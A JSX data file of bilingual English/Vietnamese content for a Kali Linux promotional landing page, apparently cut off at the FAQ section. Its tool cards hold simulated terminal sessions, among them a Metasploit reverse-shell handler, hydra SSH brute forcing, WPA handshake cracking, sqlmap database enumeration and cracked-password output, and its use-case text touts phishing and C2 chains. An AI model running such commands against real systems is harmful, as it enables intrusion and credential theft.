// data.jsx — content for the Kali landing page.
// Bilingual strings live as {en, vi}. UI uses lang state.

const T = {
  brand: { en: 'KALI LINUX', vi: 'KALI LINUX' },
  tagline: {
    en: 'The Quieter You Become, The More You Are Able to Hear.',
    vi: 'Càng tĩnh lặng, bạn càng nghe được nhiều.',
  },
  nav: [
    { id: 'features',  en: 'Features',       vi: 'Tính năng' },
    { id: 'tools',     en: 'Tools',          vi: 'Công cụ' },
    { id: 'usecases',  en: 'Use Cases',      vi: 'Ứng dụng' },
    { id: 'install',   en: 'Install',        vi: 'Cài đặt' },
    { id: 'docs',      en: 'Docs',           vi: 'Tài liệu' },
  ],
  hero: {
    eyebrow: { en: 'PENETRATION TESTING · OFFENSIVE SECURITY · 2026.1', vi: 'KIỂM THỬ BẢO MẬT · TẤN CÔNG · 2026.1' },
    line1:   { en: 'The most advanced',   vi: 'Hệ điều hành' },
    line2:   { en: 'Penetration Testing', vi: 'kiểm thử bảo mật' },
    line3:   { en: 'Distribution.',       vi: 'tiên tiến nhất.' },
    lead: {
      en: 'A free, open-source, Debian-based Linux distribution geared towards advanced Penetration Testing and Security Auditing — packing 600+ pre-installed tools, customized kernel patches, and a rolling release cycle.',
      vi: 'Bản phân phối Linux miễn phí, mã nguồn mở, dựa trên Debian — chuyên dụng cho kiểm thử xâm nhập và đánh giá bảo mật. Trang bị sẵn 600+ công cụ, kernel tùy chỉnh, cập nhật liên tục.',
    },
    primary: { en: 'Download Kali',  vi: 'Tải xuống' },
    secondary: { en: 'View Tools',   vi: 'Xem công cụ' },
    meta: [
      { k: 'Latest', v: '2026.1', sub: { en: 'Mar 12, 2026', vi: '12/03/2026' } },
      { k: 'Kernel', v: '6.12.0', sub: { en: 'Hardened', vi: 'Tăng cường' } },
      { k: 'Tools',  v: '600+',  sub: { en: 'Pre-installed', vi: 'Cài sẵn' } },
      { k: 'Free',   v: 'FOREVER', sub: { en: 'Open-source', vi: 'Mã nguồn mở' } },
    ],
  },
  stats: [
    { num: '600', unit: '+', label: { en: 'Built-in tools',   vi: 'Công cụ tích hợp' }, sub: { en: 'curated & maintained', vi: 'tinh tuyển, bảo trì'} },
    { num: '20',  unit: 'M+',label: { en: 'Downloads / year', vi: 'Lượt tải mỗi năm' }, sub: { en: 'Across all platforms', vi: 'mọi nền tảng' } },
    { num: '13',  unit: 'yr',label: { en: 'Years of releases',vi: 'Năm phát triển' },   sub: { en: 'Since 2013-03', vi: 'từ tháng 3/2013' } },
    { num: '4',   unit: '×/yr',label:{ en: 'Rolling releases',vi: 'Phát hành / năm' },   sub: { en: 'Quarterly cadence', vi: 'theo quý' } },
  ],
  features: [
    {
      id: '01',
      icon: 'rolling',
      title: { en: 'Rolling Release',    vi: 'Cập nhật liên tục' },
      desc:  {
        en: 'Always up-to-date. Bleeding-edge tools land in your apt cache as soon as upstream tags them — no waiting for the next ISO.',
        vi: 'Luôn cập nhật. Công cụ mới nhất xuất hiện trong apt ngay khi upstream phát hành — không cần đợi ISO mới.',
      },
    },
    {
      id: '02',
      icon: 'kernel',
      title: { en: 'Custom Kernel',      vi: 'Kernel tùy chỉnh' },
      desc:  {
        en: 'Patched for wireless injection (aircrack-ng), USB Rubber Ducky, low-latency packet capture, and exotic chipsets you actually use in the field.',
        vi: 'Vá sẵn cho injection wifi (aircrack-ng), USB Rubber Ducky, capture gói tin độ trễ thấp, hỗ trợ chipset hiếm.',
      },
    },
    {
      id: '03',
      icon: 'tools',
      title: { en: '600+ Tools',         vi: '600+ Công cụ' },
      desc:  {
        en: 'Nmap, Metasploit, Burp, Wireshark, John, Hashcat, Hydra, Aircrack-ng, sqlmap, BeEF, Maltego — pre-installed, pre-configured, ready.',
        vi: 'Nmap, Metasploit, Burp, Wireshark, John, Hashcat, Hydra, Aircrack-ng, sqlmap, BeEF, Maltego — cài sẵn, cấu hình sẵn, dùng ngay.',
      },
    },
    {
      id: '04',
      icon: 'multi',
      title: { en: 'Multi-Platform',     vi: 'Đa nền tảng' },
      desc:  {
        en: 'Bare metal, VM, Live USB, WSL, Docker, AWS/Azure/GCP, Raspberry Pi, and 30+ ARM devices including NetHunter for Android.',
        vi: 'Cài máy thật, máy ảo, Live USB, WSL, Docker, AWS/Azure/GCP, Raspberry Pi và 30+ thiết bị ARM gồm NetHunter cho Android.',
      },
    },
    {
      id: '05',
      icon: 'undercover',
      title: { en: 'Undercover Mode',    vi: 'Chế độ ẩn mình' },
      desc:  {
        en: 'kali-undercover flips the desktop to look like Windows in one command. Café-friendly. Auditor-friendly. Boss-friendly.',
        vi: 'kali-undercover biến desktop thành giao diện Windows chỉ bằng một lệnh. An toàn ở quán cafe, khi audit, khi sếp đi ngang.',
      },
    },
    {
      id: '06',
      icon: 'free',
      title: { en: 'Free Forever',       vi: 'Miễn phí mãi mãi' },
      desc:  {
        en: 'Open-source, FHS-compliant, and free as in beer AND speech. No license keys. No subscription. No phone-home. Just root.',
        vi: 'Mã nguồn mở, tuân thủ FHS, miễn phí hoàn toàn. Không key, không subscription, không thu thập dữ liệu. Chỉ có root.',
      },
    },
  ],
  toolsHeader: {
    tag: { en: '// TOOL ARSENAL',  vi: '// KHO CÔNG CỤ' },
    title: { en: 'Six hundred tools, ',        vi: 'Sáu trăm công cụ, ' },
    titleEm: { en: 'one shell.',                vi: 'một cửa sổ shell.' },
    sub:   {
      en: 'Pre-installed and pre-configured. Categorized into 14 disciplines from Information Gathering to Reverse Engineering. Click any tool to watch a real session.',
      vi: 'Cài sẵn, cấu hình sẵn. Phân thành 14 nhóm từ Thu thập thông tin đến Reverse Engineering. Bấm vào công cụ bất kỳ để xem phiên thật.',
    },
  },
  tools: [
    {
      id: 'nmap',
      name: 'nmap',
      tagline: { en: 'Network Mapper — discover hosts & services', vi: 'Quét mạng — tìm host và dịch vụ' },
      category: 'recon',
      version: '7.95',
      cves: '0',
      scenes: [
        {
          path: '~',
          cmd: 'nmap -sV -sC -O 10.10.14.0/24 -oA scan',
          output: [
            { text: 'Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-27 09:42 UTC', cls: 'term-out' },
            { text: 'Nmap scan report for gateway.lab (10.10.14.1)', cls: 'term-out' },
            { text: 'Host is up (0.0023s latency).', cls: 'term-out' },
            { text: 'PORT     STATE SERVICE     VERSION', cls: 'term-out' },
            { text: '22/tcp   open  ssh         OpenSSH 9.6p1 Debian', cls: 'term-ok' },
            { text: '80/tcp   open  http        nginx 1.27.1', cls: 'term-ok' },
            { text: '443/tcp  open  ssl/http    nginx 1.27.1', cls: 'term-ok' },
            { text: '3306/tcp open  mysql       MySQL 8.0.36 (unauthorized)', cls: 'term-warn' },
            { text: '8080/tcp open  http-proxy  Apache 2.4.62', cls: 'term-ok' },
            { text: 'OS details: Linux 5.15 - 6.6 (96% confidence)', cls: 'term-out' },
            { text: '', cls: 'term-out' },
            { text: 'Nmap done: 256 IPs (12 hosts up) scanned in 28.41s', cls: 'term-ok' },
          ],
        },
      ],
    },
    {
      id: 'metasploit',
      name: 'metasploit',
      tagline: { en: 'Exploitation framework — 2300+ exploits', vi: 'Framework khai thác — 2300+ exploit' },
      category: 'exploit',
      version: '6.4.41',
      cves: '0',
      scenes: [
        {
          path: '~',
          cmd: 'msfconsole -q -x "use exploit/multi/handler"',
          output: [
            { text: '[*] Loading framework... 2,374 exploits · 1,260 auxiliary · 414 post', cls: 'term-out' },
            { text: 'msf6 > set PAYLOAD linux/x64/meterpreter_reverse_tcp', cls: 'term-cmd' },
            { text: 'PAYLOAD => linux/x64/meterpreter_reverse_tcp', cls: 'term-out' },
            { text: 'msf6 > set LHOST tun0', cls: 'term-cmd' },
            { text: 'LHOST => 10.10.14.7', cls: 'term-out' },
            { text: 'msf6 > exploit -j', cls: 'term-cmd' },
            { text: '[*] Started reverse TCP handler on 10.10.14.7:4444', cls: 'term-out' },
            { text: '[*] Sending stage (3045348 bytes) to 10.10.14.42', cls: 'term-out' },
            { text: '[+] Meterpreter session 1 opened (10.10.14.7:4444 -> 10.10.14.42:51442)', cls: 'term-ok' },
            { text: 'meterpreter > getuid', cls: 'term-cmd' },
            { text: 'Server username: root', cls: 'term-ok' },
          ],
        },
      ],
    },
    {
      id: 'burpsuite',
      name: 'burpsuite',
      tagline: { en: 'Web app security proxy & scanner', vi: 'Proxy & scanner ứng dụng web' },
      category: 'webapp',
      version: '2025.7',
      cves: '0',
      scenes: [
        {
          path: '~',
          cmd: 'burpsuite --project=lab.burp --user-config-file=quick.json',
          output: [
            { text: '[+] Loading project lab.burp...', cls: 'term-out' },
            { text: '[+] Proxy listening on 127.0.0.1:8080', cls: 'term-ok' },
            { text: '[+] Target scope: *.target.local', cls: 'term-out' },
            { text: '[*] Crawling https://app.target.local/login', cls: 'term-out' },
            { text: '[*] 47 endpoints discovered · 12 forms · 3 APIs', cls: 'term-out' },
            { text: '[!] HIGH    SQL injection — /api/v1/users?id=', cls: 'term-err' },
            { text: '[!] HIGH    Reflected XSS — /search?q=', cls: 'term-err' },
            { text: '[!] MEDIUM  Insecure deserialization — /export', cls: 'term-warn' },
            { text: '[!] LOW     Missing HSTS, CSP weak', cls: 'term-warn' },
            { text: '[+] Report written to ./lab-2026-05-27.html', cls: 'term-ok' },
          ],
        },
      ],
    },
    {
      id: 'wireshark',
      name: 'wireshark',
      tagline: { en: 'Network protocol analyzer', vi: 'Phân tích giao thức mạng' },
      category: 'sniff',
      version: '4.4.3',
      cves: '0',
      scenes: [
        {
          path: '~',
          cmd: 'tshark -i wlan0mon -Y "http.request" -T fields -e ip.src -e http.host',
          output: [
            { text: 'Capturing on \'wlan0mon\' (monitor mode)', cls: 'term-out' },
            { text: '10.0.0.12   captive.example.net', cls: 'term-out' },
            { text: '10.0.0.43   tracking.adnet.io', cls: 'term-out' },
            { text: '10.0.0.43   beacon.tracking.io', cls: 'term-warn' },
            { text: '10.0.0.81   api.internal-corp.lab', cls: 'term-ok' },
            { text: '10.0.0.81   secrets.internal-corp.lab', cls: 'term-err' },
            { text: '10.0.0.12   cdn.example.net', cls: 'term-out' },
            { text: '^C 4,182 packets captured', cls: 'term-ok' },
          ],
        },
      ],
    },
    {
      id: 'aircrack',
      name: 'aircrack-ng',
      tagline: { en: 'Wireless 802.11 WEP/WPA/WPA2 auditing', vi: 'Đánh giá bảo mật wifi 802.11' },
      category: 'wireless',
      version: '1.7',
      cves: '0',
      scenes: [
        {
          path: '~',
          cmd: 'airmon-ng start wlan0 && airodump-ng wlan0mon --bssid AA:BB --channel 6',
          output: [
            { text: '[+] PHY interface wlan0 → wlan0mon (monitor mode enabled)', cls: 'term-ok' },
            { text: ' BSSID              PWR  Beacons  #Data  CH  ENC  ESSID', cls: 'term-out' },
            { text: ' AA:BB:CC:11:22:33  -42  1,204    3,418   6  WPA2 CORP-WIFI', cls: 'term-ok' },
            { text: ' STATION            PWR   Rate    Lost  Frames  Probe', cls: 'term-out' },
            { text: ' 5E:8C:71:00:DE:AD  -38   54-54     0   8,902  CORP-WIFI', cls: 'term-out' },
            { text: '[*] Sending deauth to 5E:8C:71:00:DE:AD ...', cls: 'term-warn' },
            { text: '[+] WPA handshake captured: AA:BB:CC:11:22:33', cls: 'term-ok' },
            { text: '[*] Cracking with rockyou.txt (14,344,392 keys)...', cls: 'term-out' },
            { text: '[+] KEY FOUND: [ Summ3r2026! ]', cls: 'term-ok' },
          ],
        },
      ],
    },
    {
      id: 'hashcat',
      name: 'hashcat',
      tagline: { en: 'World\'s fastest password recovery', vi: 'Recovery mật khẩu nhanh nhất thế giới' },
      category: 'crack',
      version: '6.2.6',
      cves: '0',
      scenes: [
        {
          path: '~',
          cmd: 'hashcat -m 1000 -a 0 ntlm.txt rockyou.txt -O -w 3',
          output: [
            { text: 'hashcat (v6.2.6) starting · CUDA · NVIDIA RTX 4090 · 16 384 MB', cls: 'term-out' },
            { text: 'Hash.Mode........: 1000 (NTLM)', cls: 'term-out' },
            { text: 'Hash.Target......: ntlm.txt (1,847 hashes)', cls: 'term-out' },
            { text: 'Speed.#1.........: 142.8 GH/s (12.04ms)', cls: 'term-ok' },
            { text: 'Progress.........: 14,344,392 / 14,344,392 (100.00%)', cls: 'term-out' },
            { text: 'Recovered........: 1,612 / 1,847 (87.27%) hashes', cls: 'term-ok' },
            { text: '   john.smith     :  Welcome2026!', cls: 'term-warn' },
            { text: '   admin          :  P@ssw0rd', cls: 'term-err' },
            { text: '   svc_backup     :  backup#corp2025', cls: 'term-warn' },
            { text: 'Session..........: hashcat → exhausted', cls: 'term-out' },
          ],
        },
      ],
    },
    {
      id: 'sqlmap',
      name: 'sqlmap',
      tagline: { en: 'Automatic SQL injection & DB takeover', vi: 'Khai thác SQL injection tự động' },
      category: 'webapp',
      version: '1.8.10',
      cves: '0',
      scenes: [
        {
          path: '~',
          cmd: 'sqlmap -u "https://app.target.local/api/users?id=1" --batch --dbs',
          output: [
            { text: '        ___', cls: 'term-out' },
            { text: '       __H__', cls: 'term-out' },
            { text: ' ___ ___[)]_____ ___ ___  {1.8.10}', cls: 'term-out' },
            { text: '|_ -| . [.]     | .\'| . |', cls: 'term-out' },
            { text: '|___|_  [.]_|_|_|__,|  _|', cls: 'term-out' },
            { text: '      |_|V...       |_|   https://sqlmap.org', cls: 'term-out' },
            { text: '[!] testing parameter id...', cls: 'term-out' },
            { text: '[+] parameter \'id\' appears to be \'MySQL UNION query\' injectable', cls: 'term-ok' },
            { text: '[+] back-end DBMS: MySQL 8.0.36', cls: 'term-ok' },
            { text: '[+] available databases [5]:', cls: 'term-out' },
            { text: '    [*] information_schema', cls: 'term-out' },
            { text: '    [*] customers_prod', cls: 'term-err' },
            { text: '    [*] auth_internal', cls: 'term-err' },
            { text: '    [*] mysql', cls: 'term-out' },
            { text: '    [*] sys', cls: 'term-out' },
          ],
        },
      ],
    },
    {
      id: 'hydra',
      name: 'hydra',
      tagline: { en: 'Online password attack — 50+ protocols', vi: 'Tấn công mật khẩu online — 50+ giao thức' },
      category: 'crack',
      version: '9.5',
      scenes: [
        {
          path: '~',
          cmd: 'hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.14.42 -t 4',
          output: [
            { text: 'Hydra v9.5 (c) 2024 by van Hauser/THC - for legal purposes only', cls: 'term-out' },
            { text: '[DATA] attacking ssh://10.10.14.42:22/', cls: 'term-out' },
            { text: '[STATUS] 124.00 tries/min, 124 tries in 00:01h', cls: 'term-out' },
            { text: '[STATUS] 1,488.00 tries/min, 1,488 tries in 00:12h', cls: 'term-out' },
            { text: '[22][ssh] host: 10.10.14.42  login: admin  password: changeme', cls: 'term-ok' },
            { text: '1 of 1 target successfully completed, 1 valid password found', cls: 'term-ok' },
          ],
        },
      ],
    },
    {
      id: 'john',
      name: 'john the ripper',
      tagline: { en: 'Multi-platform password cracker', vi: 'Crack mật khẩu đa nền tảng' },
      category: 'crack',
      version: '1.9.0-jumbo',
      scenes: [
        {
          path: '~',
          cmd: 'john --wordlist=rockyou.txt --rules=KoreLogic hashes.txt',
          output: [
            { text: 'Using default input encoding: UTF-8', cls: 'term-out' },
            { text: 'Loaded 412 password hashes with 412 different salts (sha512crypt)', cls: 'term-out' },
            { text: 'Will run 16 OpenMP threads', cls: 'term-out' },
            { text: 'Press \'q\' or Ctrl-C to abort, almost any other key for status', cls: 'term-out' },
            { text: 'Summer2026!      (alice.chen)', cls: 'term-ok' },
            { text: 'Spring@corp24    (bob.tran)', cls: 'term-ok' },
            { text: 'qwerty123        (intern.acct)', cls: 'term-warn' },
            { text: '3g 0:00:14:21 12% (ETA: 19:42) 0.003481g/s ...', cls: 'term-out' },
          ],
        },
      ],
    },
    {
      id: 'beef',
      name: 'beef-xss',
      tagline: { en: 'Browser Exploitation Framework', vi: 'Framework khai thác trình duyệt' },
      category: 'exploit',
      version: '0.5.4',
      scenes: [
        {
          path: '~',
          cmd: 'beef-xss',
          output: [
            { text: '[*] Bind socket [imapeudora1] listening on [0.0.0.0:2000]', cls: 'term-out' },
            { text: '[*] Browser Exploitation Framework (BeEF) 0.5.4', cls: 'term-out' },
            { text: '    | Hook URL: http://10.10.14.7:3000/hook.js', cls: 'term-ok' },
            { text: '    | UI URL:   http://10.10.14.7:3000/ui/panel', cls: 'term-ok' },
            { text: '[+] BeEF is loading. Wait a few seconds...', cls: 'term-out' },
            { text: '[+] running on network interface: 10.10.14.7', cls: 'term-out' },
            { text: '[+] HTTP Proxy: http://127.0.0.1:6789', cls: 'term-out' },
            { text: '[+] BeEF server started (press control+c to stop)', cls: 'term-ok' },
            { text: '[+] hooked browser [WIN10 / Chrome 124] from 10.10.14.42', cls: 'term-ok' },
          ],
        },
      ],
    },
    {
      id: 'maltego',
      name: 'maltego',
      tagline: { en: 'OSINT graph & link analysis', vi: 'Phân tích OSINT & quan hệ liên kết' },
      category: 'recon',
      version: '4.9.1',
      scenes: [
        {
          path: '~',
          cmd: 'maltego &',
          output: [
            { text: '[+] Loading transforms... 142 transforms registered', cls: 'term-out' },
            { text: '[+] Entity: Person — name: "J. Smith" — orgs: 3 — emails: 7', cls: 'term-out' },
            { text: '[+] Entity: Domain — target.local — subdomains: 23', cls: 'term-out' },
            { text: '[*] Pivoting on shared infrastructure...', cls: 'term-out' },
            { text: '[+] Found ASN: 14618 — Amazon — 412 IPs in scope', cls: 'term-ok' },
            { text: '[+] Found leaked credentials: 4 accounts (HaveIBeenPwned)', cls: 'term-warn' },
            { text: '[+] Graph: 247 nodes · 1,082 edges · 14 clusters', cls: 'term-ok' },
          ],
        },
      ],
    },
    {
      id: 'gobuster',
      name: 'gobuster',
      tagline: { en: 'Directory/DNS/vhost brute-forcer', vi: 'Brute-force thư mục/DNS/vhost' },
      category: 'recon',
      version: '3.6.2',
      scenes: [
        {
          path: '~',
          cmd: 'gobuster dir -u https://target.local -w common.txt -t 50 -x php,html,bak',
          output: [
            { text: 'Gobuster v3.6.2 by OJ Reeves', cls: 'term-out' },
            { text: '[+] Url:             https://target.local', cls: 'term-out' },
            { text: '[+] Threads:         50', cls: 'term-out' },
            { text: '[+] Wordlist:        common.txt (4,614 entries)', cls: 'term-out' },
            { text: '/admin               (Status: 301) [Size: 178] [→ /admin/]', cls: 'term-ok' },
            { text: '/backup.bak          (Status: 200) [Size: 12,442]', cls: 'term-err' },
            { text: '/api                 (Status: 200) [Size: 47]', cls: 'term-ok' },
            { text: '/config.php          (Status: 403) [Size: 277]', cls: 'term-warn' },
            { text: '/login.html          (Status: 200) [Size: 3,109]', cls: 'term-out' },
            { text: '/.git/config         (Status: 200) [Size: 92]', cls: 'term-err' },
            { text: 'Progress: 18,456 / 18,456 (100.00%)', cls: 'term-out' },
          ],
        },
      ],
    },
  ],
  usecasesHeader: {
    tag: { en: '// USE CASES',  vi: '// ỨNG DỤNG' },
    title: { en: 'Built for ',     vi: 'Dành cho ' },
    titleEm: { en: 'people who break things.', vi: 'người phá vỡ để bảo vệ.' },
    sub: {
      en: 'Kali isn\'t a daily driver. It\'s a precision instrument. Here\'s who uses it and what for.',
      vi: 'Kali không dành cho dùng hàng ngày. Đây là công cụ chuyên dụng. Dưới đây là những người sử dụng và mục đích.',
    },
  },
  usecases: [
    {
      id: 'pentest',
      title: { en: 'Penetration Testing', vi: 'Kiểm thử xâm nhập' },
      desc:  {
        en: 'Red teams use Kali to simulate real adversaries against client infrastructure — internal/external networks, web apps, wifi, and physical engagements. The default toolset maps cleanly to MITRE ATT&CK.',
        vi: 'Red team sử dụng Kali để mô phỏng kẻ tấn công thật trên hạ tầng khách hàng — mạng nội bộ/ngoài, web, wifi, kiểm thử vật lý. Bộ công cụ mặc định khớp với MITRE ATT&CK.',
      },
      tools: ['nmap', 'metasploit', 'burpsuite', 'cobalt strike', 'evil-winrm', 'bloodhound'],
    },
    {
      id: 'forensics',
      title: { en: 'Digital Forensics', vi: 'Điều tra số' },
      desc:  {
        en: 'Boot Kali into "Forensics Mode" — no swap, no auto-mount, no internal-disk modification. Image acquisition, timeline analysis, memory dumps, file carving, all from a single live USB.',
        vi: 'Boot Kali vào "Forensics Mode" — không swap, không tự mount, không thay đổi ổ đĩa nội bộ. Sao chép ảnh đĩa, phân tích timeline, dump RAM, recovery file từ một USB live.',
      },
      tools: ['autopsy', 'volatility', 'foremost', 'sleuthkit', 'binwalk', 'bulk_extractor'],
    },
    {
      id: 'reverse',
      title: { en: 'Reverse Engineering', vi: 'Kỹ thuật ngược' },
      desc:  {
        en: 'Static and dynamic analysis of malware, firmware, and binaries. Decompile to C, inspect with debuggers, fuzz with sanitizers, and pivot between user-space and kernel-space without leaving the OS.',
        vi: 'Phân tích tĩnh và động malware, firmware, file thực thi. Decompile sang C, debug, fuzz với sanitizer, di chuyển giữa user-space và kernel-space mà không rời OS.',
      },
      tools: ['ghidra', 'radare2', 'gdb-peda', 'cutter', 'apktool', 'frida'],
    },
    {
      id: 'wireless',
      title: { en: 'Wireless Auditing', vi: 'Đánh giá wireless' },
      desc:  {
        en: 'The hardened kernel ships with monitor-mode and packet-injection drivers most distros strip out. WPA2/WPA3 handshakes, evil-twin attacks, BLE recon, RFID/NFC cloning — same OS, same shell.',
        vi: 'Kernel tăng cường có sẵn driver monitor-mode và packet-injection mà các distro khác cắt bỏ. Bắt handshake WPA2/WPA3, tấn công evil-twin, recon BLE, sao chép RFID/NFC.',
      },
      tools: ['aircrack-ng', 'kismet', 'reaver', 'bettercap', 'bluetoothctl', 'proxmark3'],
    },
    {
      id: 'ctf',
      title: { en: 'CTF & Training', vi: 'CTF & Đào tạo' },
      desc:  {
        en: 'The default platform for HackTheBox, TryHackMe, OffSec exams, and university security courses. Snapshots a VM, breaks a box, reverts. The fastest way to go from zero to root.',
        vi: 'Nền tảng mặc định cho HackTheBox, TryHackMe, kỳ thi OffSec, và các khóa học bảo mật đại học. Snapshot VM, chiếm box, revert. Cách nhanh nhất từ zero đến root.',
      },
      tools: ['nmap', 'pwntools', 'rsactftool', 'cyberchef', 'stegseek', 'gef'],
    },
    {
      id: 'social',
      title: { en: 'Social Engineering', vi: 'Kỹ thuật xã hội' },
      desc:  {
        en: 'Phishing campaigns, payload generation, vishing infrastructure, and lure-page hosting. Kali bundles the entire chain from initial pretext to credential harvest to C2 callback.',
        vi: 'Chiến dịch phishing, sinh payload, hạ tầng vishing, host lure-page. Kali có sẵn toàn bộ chuỗi từ pretext đến thu hoạch credentials đến C2 callback.',
      },
      tools: ['gophish', 'set-toolkit', 'evilginx2', 'king-phisher', 'msfvenom', 'sliver'],
    },
  ],
  installHeader: {
    tag: { en: '// GET KALI',  vi: '// CÀI ĐẶT' },
    title: { en: 'Pick your ',     vi: 'Chọn ' },
    titleEm: { en: 'attack surface.', vi: 'bề mặt tấn công.' },
    sub: {
      en: 'Eight ways to run Kali. Pick the one that fits your engagement — they all share the same package repo.',
      vi: 'Tám cách để chạy Kali. Chọn cái phù hợp công việc — tất cả dùng chung repo gói.',
    },
  },
  installs: [
    { id: 'baremetal', title: 'Bare Metal', vi: 'Cài trực tiếp', size: '4.5 GB', arch: 'x86_64 / ARM64',
      desc: {
        en: 'Installer ISO with LUKS full-disk encryption, secure boot support, and dual-boot wizard.',
        vi: 'ISO cài đặt với mã hóa LUKS toàn ổ, hỗ trợ secure boot, và wizard dual-boot.',
      } },
    { id: 'vm', title: 'Virtual Machine', vi: 'Máy ảo', size: '4.2 GB', arch: 'VMware / VirtualBox / QEMU',
      desc: {
        en: 'Pre-built images for the major hypervisors. Snapshot your work in seconds and revert when you tip the table.',
        vi: 'Image dựng sẵn cho mọi hypervisor lớn. Snapshot trong vài giây, revert khi cần.',
      } },
    { id: 'wsl', title: 'WSL', vi: 'WSL', size: '1.8 GB', arch: 'Windows 10/11',
      desc: {
        en: 'win-kex gives you a full XFCE/KDE/GNOME desktop inside Windows via WSL2. Win+Tab between Burp and Excel.',
        vi: 'win-kex cho bạn desktop XFCE/KDE/GNOME hoàn chỉnh trong Windows qua WSL2.',
      } },
    { id: 'docker', title: 'Docker', vi: 'Docker', size: '120 MB', arch: 'OCI / Podman',
      desc: {
        en: 'kalilinux/kali-rolling. Spin a hermetic shell for one engagement, destroy it when done.',
        vi: 'kalilinux/kali-rolling. Tạo shell biệt lập cho một engagement, hủy khi xong.',
      } },
    { id: 'liveusb', title: 'Live USB', vi: 'Live USB', size: '3.7 GB', arch: 'USB 3.0+',
      desc: {
        en: 'Boot Kali on any machine without touching the disk. Optional persistent encrypted partition for your data.',
        vi: 'Boot Kali trên máy bất kỳ mà không chạm đĩa. Phân vùng mã hóa tùy chọn để lưu dữ liệu.',
      } },
    { id: 'cloud', title: 'Cloud', vi: 'Đám mây', size: 'AMI / VHD / GCE', arch: 'AWS / Azure / GCP',
      desc: {
        en: 'Official images in the AWS Marketplace, Azure Gallery, and GCP. Spin a c5.xlarge bastion in 60 seconds.',
        vi: 'Image chính thức trên AWS Marketplace, Azure Gallery, GCP. Tạo bastion c5.xlarge trong 60 giây.',
      } },
    { id: 'arm', title: 'Raspberry Pi / ARM', vi: 'Pi & ARM', size: '2.4 GB', arch: '30+ devices',
      desc: {
        en: 'Drop-and-go images for Pi 4/5, Pinebook, Banana Pi, ODROID. Build a $50 wifi audit box for fieldwork.',
        vi: 'Image cho Pi 4/5, Pinebook, Banana Pi, ODROID. Tự dựng hộp audit wifi $50 cho thực địa.',
      } },
    { id: 'nethunter', title: 'NetHunter', vi: 'NetHunter Android', size: '1.2 GB', arch: 'Android 9+',
      desc: {
        en: 'Mobile pentest platform. HID keyboard attacks, BadUSB, Mana Wireless, all from a stock-rooted phone.',
        vi: 'Pentest từ điện thoại. HID attack, BadUSB, Mana Wireless — từ máy Android đã root.',
      } },
  ],
  testimonialsHeader: {
    tag: { en: '// VOICES',  vi: '// PHẢN HỒI' },
    title: { en: 'What ',     vi: 'Người dùng ' },
    titleEm: { en: 'practitioners say.', vi: 'thực sự nói gì.' },
  },
  testimonials: [
    {
      quote: {
        en: 'I\'ve run Kali on every engagement for nine years. Snapshot, break, revert, write the report. The workflow is muscle memory at this point.',
        vi: 'Tôi dùng Kali cho mọi engagement trong 9 năm. Snapshot, phá, revert, viết báo cáo. Giờ workflow này thành phản xạ rồi.',
      },
      name: 'Nguyễn V. — Lead Red Teamer',
      role: { en: 'Bank, Vietnam · OSCE3, OSEP', vi: 'Ngân hàng, VN · OSCE3, OSEP' },
      initial: 'NV',
    },
    {
      quote: {
        en: 'NetHunter on an old Pixel is the most fun I\'ve had in security in years. Plug in via USB-C, run a HID payload, walk away. Magic.',
        vi: 'NetHunter trên Pixel cũ là thứ vui nhất tôi từng nghịch trong bảo mật. Cắm USB-C, chạy payload HID, đi tiếp. Như ảo thuật.',
      },
      name: 'M. Chen — Independent Researcher',
      role: { en: 'CVE-2024-1337x2 · DEF CON 32 speaker', vi: 'CVE-2024-1337x2 · DEF CON 32' },
      initial: 'MC',
    },
    {
      quote: {
        en: 'We standardized on Kali across our SOC for purple-team work. Same toolset on our side as the adversary uses — that\'s the point.',
        vi: 'Chúng tôi chuẩn hoá Kali cho team purple. Cùng bộ công cụ mà attacker dùng — đó mới là điểm chính.',
      },
      name: 'A. Rashid — SOC Manager',
      role: { en: 'Fortune 500 · CISSP', vi: 'Tập đoàn lớn · CISSP' },
      initial: 'AR',
    },
  ],
  communityHeader: {
    tag: { en: '// COMMUNITY',  vi: '// CỘNG ĐỒNG' },
    title: { en: 'Backed by ',     vi: 'Hậu thuẫn bởi ' },
    titleEm: { en: 'OffSec.',   vi: 'OffSec.' },
    sub: {
      en: 'Maintained by the team behind the OSCP, the most respected certification in offensive security. Docs, courses, and community — first-class.',
      vi: 'Bảo trì bởi đội ngũ đứng sau chứng chỉ OSCP — chứng chỉ được kính trọng nhất trong bảo mật tấn công. Tài liệu, khóa học, cộng đồng — chất lượng hàng đầu.',
    },
  },
  certs: [
    { badge: 'KLCP', label: { en: 'Kali Linux Certified Professional', vi: 'Kali Linux Certified Professional' }, meta: { en: 'Entry-level · self-paced', vi: 'Đầu vào · tự học' } },
    { badge: 'OSCP', label: { en: 'Offensive Security Certified Pro',  vi: 'Offensive Security Certified Pro' },  meta: { en: '24-hour practical exam', vi: 'Thi thực hành 24h' } },
    { badge: 'OSEP', label: { en: 'OSCP Experienced Penetration Tester', vi: 'OSCP Experienced Pen Tester' }, meta: { en: 'Advanced AV/EDR evasion', vi: 'Né AV/EDR nâng cao' } },
    { badge: 'OSWE', label: { en: 'Offensive Security Web Expert',     vi: 'Offensive Security Web Expert' },    meta: { en: 'White-box web exploitation', vi: 'Khai thác web white-box' } },
    { badge: 'OSED', label: { en: 'Exploit Developer',                 vi: 'Phát triển Exploit' },                meta: { en: 'Windows binary exploitation', vi: 'Khai thác binary Windows' } },
  ],
  communityResources: [
    { badge: 'DOCS', label: { en: 'Official Documentation', vi: 'Tài liệu chính thức' }, meta: { en: '1,200+ pages · kali.org/docs', vi: '1,200+ trang · kali.org/docs' } },
    { badge: 'BOOK', label: { en: 'Kali Linux Revealed (free)', vi: 'Kali Linux Revealed (miễn phí)' }, meta: { en: 'PDF · ePub · Mobi · 18 chapters', vi: 'PDF · ePub · Mobi · 18 chương' } },
    { badge: 'IRC',  label: { en: '#kali-linux on Libera.Chat', vi: '#kali-linux trên Libera.Chat' }, meta: { en: '24/7 · ~800 online', vi: '24/7 · ~800 online' } },
    { badge: 'DISC', label: { en: 'Discord — Kali Linux & OffSec', vi: 'Discord — Kali Linux & OffSec' }, meta: { en: '48,000+ members', vi: '48,000+ thành viên' } },
    { badge: 'WIKI', label: { en: 'Tools Reference Wiki', vi: 'Wiki tham chiếu công cụ' }, meta: { en: 'kali.org/tools — every tool', vi: 'kali.org/tools — mọi công cụ' } },
  ],
  faqHeader: {
    tag: { en: '// FAQ',  vi: '// CÂU HỎI THƯỜNG GẶP' },
